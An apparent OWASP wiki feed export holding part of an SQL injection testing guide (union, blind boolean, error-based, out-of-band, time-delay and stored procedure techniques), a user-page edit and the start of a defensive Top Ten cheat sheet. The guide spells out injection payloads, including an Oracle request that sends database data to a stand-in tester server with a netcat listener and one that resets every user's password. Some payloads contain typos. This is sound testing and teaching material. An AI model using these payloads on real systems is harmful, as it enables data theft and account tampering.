&lt;br /&gt;
 &lt;br /&gt;
After the tester find out the numbers of columns, the&lt;br /&gt;
next step is to find out the type of columns. Assuming there were 3 columns in&lt;br /&gt;
the example above, the tester could try each column type, using the NULL value&lt;br /&gt;
to help them:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
http://www.example.com/product.php?id=10 UNION SELECT 1,&lt;br /&gt;
null, null—&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
If the query fails, probably the tester will see a&lt;br /&gt;
message like:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
All cells in a column must have the same datatype&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
If the query executes with success, the first column&lt;br /&gt;
can be an integer. Then the tester can move further and so on:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
http://www.example.com/product.php?id=10 UNION SELECT&lt;br /&gt;
1,1,null--&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
After the success exploitation, depending on the&lt;br /&gt;
application, it will show to the tester only the first result, because the&lt;br /&gt;
application treats only the first line of the result. In this case, it is&lt;br /&gt;
possible to use LIMIT like clause or the tester can set an invalid value,&lt;br /&gt;
making only the second line valid (supposing there is no entry in the database&lt;br /&gt;
which ID is 99999):&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
http://www.example.com/product.php?id=99999 UNION&lt;br /&gt;
SELECT 1,1,null--&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
=== Boolean Exploitation technique ===&lt;br /&gt;
 &lt;br /&gt;
The Boolean exploitation technique is very useful when&lt;br /&gt;
the tester find a [[Blind SQL Injection]] situation, in&lt;br /&gt;
which nothing is known on the outcome of an operation. For example, this&lt;br /&gt;
behavior happens in cases where the programmer has created a custom error page&lt;br /&gt;
that does not reveal anything on the structure of the query or on the database.&lt;br /&gt;
(The page does not return a SQL error, it may just&lt;br /&gt;
return a HTTP 500). &amp;lt;br&amp;gt;&lt;br /&gt;
By using the inference methods, it is possible to avoid this obstacle and thus&lt;br /&gt;
to succeed to recover the values of some desired fields. This method consists&lt;br /&gt;
of carrying out a series of boolean&lt;br /&gt;
queries to the server, observing the answers and finally deducing the meaning&lt;br /&gt;
of such answers. We consider, as always, the www.example.com domain and we&lt;br /&gt;
suppose that it contains a parameter named id vulnerable to SQL injection. This&lt;br /&gt;
means that carrying out the following request:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/index.php?id=1' &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
we will get one page with a custom message error which&lt;br /&gt;
is due to a syntactic error in the query. We suppose that the query executed on&lt;br /&gt;
the server is:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT field1, field2, field3 FROM Users WHERE Id='$Id' &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
which is exploitable through the methods seen previously.&lt;br /&gt;
What we want to obtain is the values of the username field. The tests that we&lt;br /&gt;
will execute will allow us to obtain the value of the username field,&lt;br /&gt;
extracting such value character by character. This is possible through the use&lt;br /&gt;
of some standard functions, present practically in every database. For our&lt;br /&gt;
examples, we will use the following pseudo-functions:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
'''SUBSTRING (text, start, length)''': it returns a&lt;br /&gt;
substring starting from the position &amp;amp;quot;start&amp;amp;quot; of text and of length&lt;br /&gt;
&amp;amp;quot;length&amp;amp;quot;. If &amp;amp;quot;start&amp;amp;quot; is greater than the length of text,&lt;br /&gt;
the function returns a null value.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
'''ASCII (char)''': it gives back ASCII value of the input character. A&lt;br /&gt;
null value is returned if char is 0.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
'''LENGTH (text)''': it gives back the length in characters of the input&lt;br /&gt;
text.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Through such functions, we will execute our tests on&lt;br /&gt;
the first character and, when we have discovered the value, we will pass to the&lt;br /&gt;
second and so on, until we will have discovered the entire value. The tests&lt;br /&gt;
will take advantage of the function SUBSTRING, in order to select only one&lt;br /&gt;
character at a time (selecting a single character means to impose the length&lt;br /&gt;
parameter to 1), and the function ASCII, in order to obtain the ASCII value, so&lt;br /&gt;
that we can do numerical comparison. The results of the comparison will be done&lt;br /&gt;
with all the values of the ASCII table, until the right value is found. As an&lt;br /&gt;
example, we will use the following value for ''Id'':&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;$Id=1' AND ASCII(SUBSTRING(username,1,1))=97 AND '1'='1 &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
that creates the following query (from now on, we will&lt;br /&gt;
call it &amp;amp;quot;inferential query&amp;amp;quot;):&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT field1, field2, field3 FROM Users WHERE Id='1' AND ASCII(SUBSTRING(username,1,1))=97 AND '1'='1'&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
The previous example returns a result if and only if&lt;br /&gt;
the first character of the field username is equal to the ASCII value 97. If we&lt;br /&gt;
get a false value, then we increase the index of the ASCII table from 97 to 98&lt;br /&gt;
and we repeat the request. If instead we obtain a true value, we set to zero&lt;br /&gt;
the index of the ASCII table and we analyze the next character, modifying the&lt;br /&gt;
parameters of the SUBSTRING function. The problem is to understand in which way&lt;br /&gt;
we can distinguish tests returning a true value from those that return false.&lt;br /&gt;
To do this, we create a query that always returns false. This is possible by&lt;br /&gt;
using the following value for ''Id'':&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;$Id=1' AND '1' = '2 &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
by which will create the following query:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT field1, field2, field3 FROM Users WHERE Id='1' AND '1' = '2' &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
The obtained response from the server (that is HTML&lt;br /&gt;
code) will be the false value for our tests. This is enough to verify whether&lt;br /&gt;
the value obtained from the execution of the inferential query is equal to the&lt;br /&gt;
value obtained with the test executed before. Sometimes, this method does not&lt;br /&gt;
work. If the server returns two different pages as a result of two identical&lt;br /&gt;
consecutive web requests, we will not be able to discriminate the true value&lt;br /&gt;
from the false value. In these particular cases, it is necessary to use&lt;br /&gt;
particular filters that allow us to eliminate the code that changes between the&lt;br /&gt;
two requests and to obtain a template. Later on, for every inferential request&lt;br /&gt;
executed, we will extract the relative template from the response using the&lt;br /&gt;
same function, and we will perform a control between the two templates in order&lt;br /&gt;
to decide the result of the test.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
In the previous discussion, we haven't dealt with the&lt;br /&gt;
problem of determining the termination condition for out tests, i.e., when we&lt;br /&gt;
should end the inference procedure. A techniques to do&lt;br /&gt;
this uses one characteristic of the SUBSTRING function and the LENGTH function.&lt;br /&gt;
When the test compares the current character with the ASCII code 0 (i.e., the&lt;br /&gt;
value null) and the test returns the value true, then either we are done with&lt;br /&gt;
the inference procedue (we have scanned the whole&lt;br /&gt;
string), or the value we have analyzed contains the null character.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
We will insert the following value for the field ''Id'':&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;$Id=1' AND LENGTH(username)=N AND '1' = '1 &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
Where N is the number of characters that we have&lt;br /&gt;
analyzed up to now (not counting the null value). The query will be:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT field1, field2, field3 FROM Users WHERE Id='1' AND LENGTH(username)=N AND '1' = '1' &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
The query returns either true or false. If we obtain&lt;br /&gt;
true, then we have completed inference and, therefore, we know the value of the&lt;br /&gt;
parameter. If we obtain false, this means that the null character is present in&lt;br /&gt;
the value of the parameter, and we must continue to analyze the next parameter&lt;br /&gt;
until we find another null value.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
The blind SQL injection attack needs a high volume of&lt;br /&gt;
queries. The tester may need an automatic tool to exploit the vulnerability.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
=== Error based Exploitation technique ===&lt;br /&gt;
  &lt;br /&gt;
The Error based&lt;br /&gt;
exploitation technique is useful when the tester for some reason can’t exploit&lt;br /&gt;
the SQL injection vulnerability using other technique such as UNION. The Error&lt;br /&gt;
based technique consists in forcing the database to perform some operation in&lt;br /&gt;
which the result will be an error. The point here is to try to extract some&lt;br /&gt;
data from the database and show it in the error message. This exploitation&lt;br /&gt;
technique can be different from DBMS to DBMS (check DBMS specific session).&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Consider the following SQL query:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT * FROM products WHERE id_product=$id_product&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Consider also the request to a script who executes the&lt;br /&gt;
query above:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
http://www.example.com/product.php?id=10&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
The malicious request would be (e.g. Oracle 10g):&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
http://www.example.com/product.php?id=10||UTL_INADDR.GET_HOST_NAME( (SELECT user FROM DUAL) )--&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
In this&lt;br /&gt;
example, the tester is concatenating the value 10 with the result of the&lt;br /&gt;
function UTL_INADDR.GET_HOST_NAME. This Oracle function will try to return the&lt;br /&gt;
hostname of the parameter passed to it, which is other query, the name of the&lt;br /&gt;
user. When the database looks for a hostname with the user database name, it&lt;br /&gt;
will fail and return an error message like:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
ORA-292257:&lt;br /&gt;
host SCOTT unknown&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Then the tester&lt;br /&gt;
can manipulate the parameter passed to GET_HOST_NAME()&lt;br /&gt;
function and the result will be shown in the error message.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
=== Out of band Exploitation technique ===&lt;br /&gt;
  &lt;br /&gt;
This technique&lt;br /&gt;
is very useful when the tester find a [[Blind SQL Injection]] situation, in&lt;br /&gt;
which nothing is known on the outcome of an operation. The technique consists in&lt;br /&gt;
the use of DBMS functions to perform an out of band connection and deliver the&lt;br /&gt;
results of the injected query as part of the request to the tester’s server.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Like the error&lt;br /&gt;
based techniques, each DBMS has its own functions. Check for specific DBMS&lt;br /&gt;
section.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Consider the following SQL query:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
SELECT * FROM products WHERE id_product=$id_product&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Consider also the request to a script who executes the&lt;br /&gt;
query above:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
http://www.example.com/product.php?id=10&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
The malicious request would be:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
http://www.example.com/product.php?id=10||UTL_HTTP.request(‘testerserver.com:80’||(SELET user FROM DUAL)--&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
In this&lt;br /&gt;
example, the tester is concatenating the value 10 with the result of the&lt;br /&gt;
function UTL_HTTP.request. This Oracle function will&lt;br /&gt;
try to connect to ‘testerserver’ and make a HTTP GET&lt;br /&gt;
request containing the return from the query “SELECT user FROM DUAL”.  The tester can set up a webserver&lt;br /&gt;
(e.g. Apache) or use the Netcat tool:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
/home/tester/nc –nLp 80&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
GET /SCOTT HTTP/1.1&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Host: testerserver.com&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Connection: close&lt;br /&gt;
&lt;br /&gt;
  &lt;br /&gt;
=== Time day Exploitation technique ===&lt;br /&gt;
  &lt;br /&gt;
The Boolean&lt;br /&gt;
exploitation technique is very useful when the tester find a [[Blind SQL Injection]] situation, in&lt;br /&gt;
which nothing is known on the outcome of an operation. This technique consists&lt;br /&gt;
in sending an injected query and in case the conditional is true, the tester&lt;br /&gt;
can monitor the time taken to for the server to respond. If there is a delay,&lt;br /&gt;
the tester can assume the result of the conditional query is true. This&lt;br /&gt;
exploitation technique can be different from DBMS to DBMS (check DBMS specific&lt;br /&gt;
session)&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Consider the following SQL query:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
SELECT * FROM products WHERE id_product=$id_product&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Consider also the request to a script who executes the&lt;br /&gt;
query above:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
http://www.example.com/product.php?id=10&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
The malicious request would be (e.g. MySql 5.x):&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
http://www.example.com/product.php?id=10 AND IF(version() like ‘5%’, sleep(10), ‘false’))--&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
In this example&lt;br /&gt;
the tester if checking whether the MySql version is&lt;br /&gt;
5.x or not, making the server to delay the answer in 5 seconds. The tester can&lt;br /&gt;
increase the delay’s time and monitor the responses. The tester also doesn’t&lt;br /&gt;
need to wait for the response. Sometimes he can set a very high value (e.g.&lt;br /&gt;
100) and cancel the request after some seconds.&lt;br /&gt;
&lt;br /&gt;
  &lt;br /&gt;
=== Stored Procedure Injection ===&lt;br /&gt;
  &lt;br /&gt;
When using dynamic SQL within a stored procedure, the application must&lt;br /&gt;
properly sanitize the user input to eliminate the risk of code injection. If&lt;br /&gt;
not sanitized, the user could enter malicious SQL that will be executed within&lt;br /&gt;
the stored procedure.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Consider the following '''SQL Server Stored Procedure:'''&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Create&lt;br /&gt;
procedure user_login @username varchar(20), @passwd varchar(20) As&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Declare @sqlstring varchar(250)&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Set @sqlstring  = ‘&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Select 1&lt;br /&gt;
from users&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Where&lt;br /&gt;
username = ‘ + @username + ‘ and passwd&lt;br /&gt;
= ‘ + @passwd&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
exec(@sqlstring)&lt;br /&gt;
Go&lt;br /&gt;
User input:&lt;br /&gt;
anyusername or 1=1'&lt;br /&gt;
anypassword&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
This procedure does not sanitize the input, therefore allowing the&lt;br /&gt;
return value to show an existing record with these&lt;br /&gt;
parameters.&amp;lt;br&amp;gt; &amp;lt;br&amp;gt;&lt;br /&gt;
NOTE: This example may seem unlikely due to the use of dynamic SQL to log in a&lt;br /&gt;
user, but consider a dynamic reporting query where the user selects the columns&lt;br /&gt;
to view. The user could insert malicious code into this scenario and compromise&lt;br /&gt;
the data. &amp;lt;br&amp;gt;&lt;br /&gt;
Consider the following '''SQL Server Stored Procedure:'''&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Create&lt;br /&gt;
procedure get_report @columnamelist varchar(7900)&lt;br /&gt;
As&lt;br /&gt;
Declare @sqlstring varchar(8000)&lt;br /&gt;
Set @sqlstring  = ‘&lt;br /&gt;
Select ‘ + @columnamelist + ‘ from ReportTable‘&lt;br /&gt;
exec(@sqlstring)&lt;br /&gt;
Go&lt;br /&gt;
 &lt;br /&gt;
User input:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
1 from&lt;br /&gt;
users; update users set password = 'password'; select *&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
This will result in the report running and all users’ passwords being&lt;br /&gt;
updated.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
=== Automated Exploitation ===&lt;br /&gt;
 &lt;br /&gt;
Most of the situation and techniques presented here can be performed in a automated way using some tools. In this article the tester&lt;br /&gt;
can find information how to perform an automated auditing using SQLMap.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
https://www.owasp.org/index.php/Automated_Audit_using_SQLMa&lt;br /&gt;
&lt;br /&gt;
    &lt;br /&gt;
== Related Articles ==&lt;br /&gt;
&lt;br /&gt;
* [[Top 10 2007-Injection Flaws]]&lt;br /&gt;
* [[SQL Injection]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Technology specific Testing Guide pages have been created for the following DBMSs:&lt;br /&gt;
&lt;br /&gt;
* [[Testing for Oracle| Oracle]]&lt;br /&gt;
* [[Testing for MySQL| MySQL]]&lt;br /&gt;
* [[Testing for SQL Server  | SQL Server]]&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Victor Chapela: &amp;quot;Advanced SQL Injection&amp;quot; - http://www.owasp.org/images/7/74/Advanced_SQL_Injection.ppt&lt;br /&gt;
* Chris Anley: &amp;quot;Advanced SQL Injection In SQL Server Applications&amp;quot; - http://www.thomascookegypt.com/holidays/pdfpkgs/931.pdf&lt;br /&gt;
* Chris Anley: &amp;quot;More Advanced SQL Injection&amp;quot; - http://www.encription.co.uk/downloads/more_advanced_sql_injection.pdf&lt;br /&gt;
* David Litchfield: &amp;quot;Data-mining with SQL Injection and Inference&amp;quot; - http://www.databasesecurity.com/webapps/sqlinference.pdf&lt;br /&gt;
* Imperva: &amp;quot;Blinded SQL Injection&amp;quot; - https://www.imperva.com/lg/lgw.asp?pid=369&lt;br /&gt;
* Ferruh Mavituna: &amp;quot;SQL Injection Cheat Sheet&amp;quot; - http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/&lt;br /&gt;
* Kevin Spett from SPI Dynamics: &amp;quot;SQL Injection&amp;quot; - http://packetstorm.codar.com.br/papers/general/SQLInjectionWhitePaper.pdf&lt;br /&gt;
* Kevin Spett from SPI Dynamics: &amp;quot;Blind SQL Injection&amp;quot; - http://www.net-security.org/dl/articles/Blind_SQLInjection.pdf&lt;br /&gt;
&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
* SQL Injection Fuzz Strings (from wfuzz tool) - http://yehg.net/lab/pr0js/pentest/wordlists/injections/SQL.txt&lt;br /&gt;
* [[:Category:OWASP SQLiX Project|OWASP SQLiX]]&lt;br /&gt;
* Francois Larouche: Multiple DBMS SQL Injection tool - [http://www.sqlpowerinjector.com/index.htm SQL Power Injector]&amp;lt;br&amp;gt;&lt;br /&gt;
* ilo--, Reversing.org - [http://packetstormsecurity.org/files/43795/sqlbftools-1.2.tar.gz.html sqlbftools]&amp;lt;br&amp;gt;&lt;br /&gt;
* Bernardo Damele A. G.: sqlmap, automatic SQL injection tool - http://sqlmap.org/&lt;br /&gt;
* icesurfer: SQL Server Takeover Tool - [http://sqlninja.sourceforge.net sqlninja]&lt;br /&gt;
* Pangolin: Automated SQL Injection Tool - [http://www.nosec.org/en/pangolin.html Pangolin]&lt;br /&gt;
* Muhaimin Dzulfakar: MySqloit, MySql Injection takeover tool - http://code.google.com/p/mysqloit/&lt;br /&gt;
* Antonio Parata: Dump Files by SQL inference on Mysql - [http://sqldumper.ruizata.com/ SqlDumper]&amp;lt;br&amp;gt;&lt;br /&gt;
* http://sqlsus.sourceforge.net&lt;br /&gt;
* [https://code.google.com/p/bsqlbf-v2/ bsqlbf, a blind SQL injection tool] in Perl&lt;/div&gt;</summary>
		<author><name>Ismael Rocha</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=User:Ismael_Rocha&amp;diff=140048</id>
		<title>User:Ismael Rocha</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=User:Ismael_Rocha&amp;diff=140048"/>
				<updated>2012-11-21T22:00:02Z</updated>
		
		<summary type="html">&lt;p&gt;Ismael Rocha: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;http://br.linkedin.com/pub/ismael-rocha-goncalves/40/599/258&lt;br /&gt;
&lt;br /&gt;
http://sharingsec.blogspot.com&lt;/div&gt;</summary>
		<author><name>Ismael Rocha</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=User:Ismael_Rocha&amp;diff=140047</id>
		<title>User:Ismael Rocha</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=User:Ismael_Rocha&amp;diff=140047"/>
				<updated>2012-11-21T21:59:16Z</updated>
		
		<summary type="html">&lt;p&gt;Ismael Rocha: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;http://br.linkedin.com/pub/ismael-rocha-goncalves/40/599/258&lt;br /&gt;
http://sharingsec.blogspot.com&lt;/div&gt;</summary>
		<author><name>Ismael Rocha</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_Top_Ten_Cheat_Sheet&amp;diff=135042</id>
		<title>OWASP Top Ten Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_Top_Ten_Cheat_Sheet&amp;diff=135042"/>
				<updated>2012-08-30T01:18:56Z</updated>
		
		<summary type="html">&lt;p&gt;Ismael Rocha: Add quick reference to OWASP Testing Guide V3.&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Introduction =&lt;br /&gt;
&lt;br /&gt;
The following is a developer-centric defensive cheat sheet for the [[OWASP Top Ten Project]]. It also presents a quick reference based on [[OWASP Testing Project]] to help how to identify the risks.&lt;br /&gt;
&lt;br /&gt;
= OWASP Top Ten Cheat Sheet =&lt;br /&gt;
&lt;br /&gt;
{| border=1&lt;br /&gt;
| &lt;br /&gt;
||'''Presentation'''&lt;br /&gt;
||'''Controller'''&lt;br /&gt;
||'''Model'''&lt;br /&gt;
||'''Testing (OWASP Testing Guide V3)'''&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
|'''A1 Injection'''&lt;br /&gt;
||&lt;br /&gt;
&lt;br /&gt;
''Render:''&lt;br /&gt;
Set a correct content type&lt;br /&gt;
Set safe character set (UTF-8)&lt;br /&gt;
Set correct locale&lt;br /&gt;
&lt;br /&gt;
''On Submit:''&lt;br /&gt;
Enforce input field type and lengths &lt;br /&gt;
Validate fields and provide feedback&lt;br /&gt;
Ensure option selects and radio contain only sent values&lt;br /&gt;
||'''Canonicalize using correct character set'''&lt;br /&gt;
'''Positive input validation using correct character set'''&lt;br /&gt;
&lt;br /&gt;
(NR) Negative input validation &lt;br /&gt;
(LR) Sanitize input &lt;br /&gt;
&lt;br /&gt;
''Tip: updating a negative list (such as looking for &amp;quot;script&amp;quot;, &amp;quot;sCrIpT&amp;quot;, &amp;quot;ßCrîpt&amp;quot;, etc) will require expensive and constant deployments and will '''always '''fail as attackers work out your list of &amp;quot;bad&amp;quot; words. Positive validation is simpler, faster and usually more secure and needs updating far less than any other validation mechanism. ''&lt;br /&gt;
||'''[https://www.owasp.org/index.php/Query_Parameterization_Cheat_Sheet Parameterized queries]'''&lt;br /&gt;
Object relational model (Hibernate)&lt;br /&gt;
Active Record design pattern&lt;br /&gt;
Stored procedures&lt;br /&gt;
&lt;br /&gt;
Escape mechanisms such as ESAPI's Encoder.EncodeForLDAP() or Encoder.EncodeforOS()&lt;br /&gt;
&lt;br /&gt;
''Tip: '''All '''SQL Injection is due to dynamic SQL queries. Strongly consider prohibiting dynamic SQL queries within your organization ''&lt;br /&gt;
&lt;br /&gt;
||''4.8.5 SQL Injection (OWASP-DV-005)''&lt;br /&gt;
''4.8.6 LDAP Injection (OWASP-DV-006)''&lt;br /&gt;
''4.8.7 ORM Injection (OWASP-DV-007)''&lt;br /&gt;
''4.8.8 XML Injection (OWASP-DV-008)''&lt;br /&gt;
''4.8.9 SSI Injection (OWASP-DV-009)''&lt;br /&gt;
''4.8.10 XPath Injection (OWASP-DV-010)''&lt;br /&gt;
''4.8.11 IMAP/SMTP Injection (OWASP-DV-011)''&lt;br /&gt;
''4.8.12 Code Injection (OWASP-DV-012)''&lt;br /&gt;
''4.8.13 OS Commanding (OWASP-DV-013)''&lt;br /&gt;
''4.8.14 Buffer overflow (OWASP-DV-014)''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
|'''A2 XSS'''&lt;br /&gt;
||&lt;br /&gt;
&lt;br /&gt;
''Render''&lt;br /&gt;
'''Set correct content type'''&lt;br /&gt;
'''Set safe character set (UTF-8) '''&lt;br /&gt;
'''Set correct locale'''&lt;br /&gt;
'''Output encode all user data as per output context'''&lt;br /&gt;
'''Set input constraints '''&lt;br /&gt;
&lt;br /&gt;
''On Submit''&lt;br /&gt;
Enforce input field type and lengths&lt;br /&gt;
Validate fields and provide feedback&lt;br /&gt;
Ensure option selects and radio contain only sent values&lt;br /&gt;
||'''Canonicalize using correct character set'''&lt;br /&gt;
'''Positive input validation using correct character set'''&lt;br /&gt;
&lt;br /&gt;
(NR) Negative input validation &lt;br /&gt;
(LR) Sanitize input &lt;br /&gt;
&lt;br /&gt;
''Tip: Only process data that is 100% trustworthy. Everything else is hostile and should be rejected.''&lt;br /&gt;
||''Tip: Do not store data HTML encoded in the database. This prevents new uses for the data, such as web services, RSS feeds, FTP batches, data warehousing, cloud computing, and so on.''&lt;br /&gt;
&lt;br /&gt;
''Tip: Use OWASP Scrubbr to clean tainted or hostile data from legacy data''&lt;br /&gt;
&lt;br /&gt;
||''4.8.1 Testing for Reflected Cross Site Scripting (OWASP-DV-001)''&lt;br /&gt;
''4.8.2 Testing for Stored Cross Site Scripting (OWASP-DV-002)''&lt;br /&gt;
''4.8.3 Testing for DOM based Cross Site Scripting (OWASP-DV-003)''&lt;br /&gt;
''4.8.4 Testing for Cross Site Flashing (OWASP-DV004)''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
|'''A3 Weak authentication and session management'''&lt;br /&gt;
||''Render''&lt;br /&gt;
'''Validate user is authenticated'''&lt;br /&gt;
'''Validate role is sufficient for this view'''&lt;br /&gt;
'''Set &amp;quot;secure&amp;quot; and &amp;quot;HttpOnly&amp;quot; flags for session cookies'''&lt;br /&gt;
Send CSRF token with forms&lt;br /&gt;
&lt;br /&gt;
||''Design''&lt;br /&gt;
'''Only use inbuilt session management'''&lt;br /&gt;
'''Store secondary SSO / framework / custom session identifiers in native session object – do not send as additional headers or cookies'''&lt;br /&gt;
&lt;br /&gt;
'''Validate user is authenticated'''&lt;br /&gt;
'''Validate role is sufficient to perform this action'''&lt;br /&gt;
Validate CSRF token&lt;br /&gt;
||Validate role is sufficient to create, read, update, or delete data&lt;br /&gt;
&lt;br /&gt;
''Tip: Consider the use of a &amp;quot;governor&amp;quot; to regulate the maximum number of requests per second / minute / hour that this user may perform. For example, a typical banking user should not perform more than ten transactions a minute, and one hundred per second is dangerous and should be blocked.''&lt;br /&gt;
&lt;br /&gt;
||''4.4.2 Testing for user enumeration (OWASP-AT-002)''&lt;br /&gt;
''4.4.3 Testing for Guessable (Dictionary) User Account (OWASP-AT-003)''&lt;br /&gt;
''4.4.4 Brute Force Testing (OWASP-AT-004)''&lt;br /&gt;
''4.4.6 Testing for vulnerable remember password and pwd reset (OWASP-AT-006)''&lt;br /&gt;
''4.4.5 Testing for bypassing authentication schema (OWASP-AT-005)''&lt;br /&gt;
''4.4.7 Testing for Logout and Browser Cache Management (OWASP-AT-007)''&lt;br /&gt;
''4.4.8 Testing for CAPTCHA (OWASP-AT-008)''&lt;br /&gt;
''4.4.9 Testing Multiple Factors Authentication (OWASP-AT-009)''&lt;br /&gt;
''4.4.10 Testing for Race Conditions (OWASP-AT-010)''&lt;br /&gt;
''4.5.1 Testing for Session Management Schema (OWASP-SM-001)''&lt;br /&gt;
''4.5.2 Testing for Cookies attributes (OWASP-SM-002)''&lt;br /&gt;
''4.5.3 Testing for Session Fixation (OWASP-SM_003)''&lt;br /&gt;
''4.5.4 Testing for Exposed Session Variables (OWASP-SM-004)''&lt;br /&gt;
''4.5.5 Testing for CSRF (OWASP-SM-005)''&lt;br /&gt;
''4.6.2 Testing for bypassing authorization schema (OWASP-AZ-002)''&lt;br /&gt;
''4.6.3 Testing for Privilege Escalation (OWASP-AZ-003)''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
|'''A4 Insecure Direct Object Reference'''&lt;br /&gt;
||'''If data is from internal trusted sources, no data is sent'''&lt;br /&gt;
&lt;br /&gt;
''Or''&lt;br /&gt;
&lt;br /&gt;
''Render''&lt;br /&gt;
'''Send indirect random access reference map value'''&lt;br /&gt;
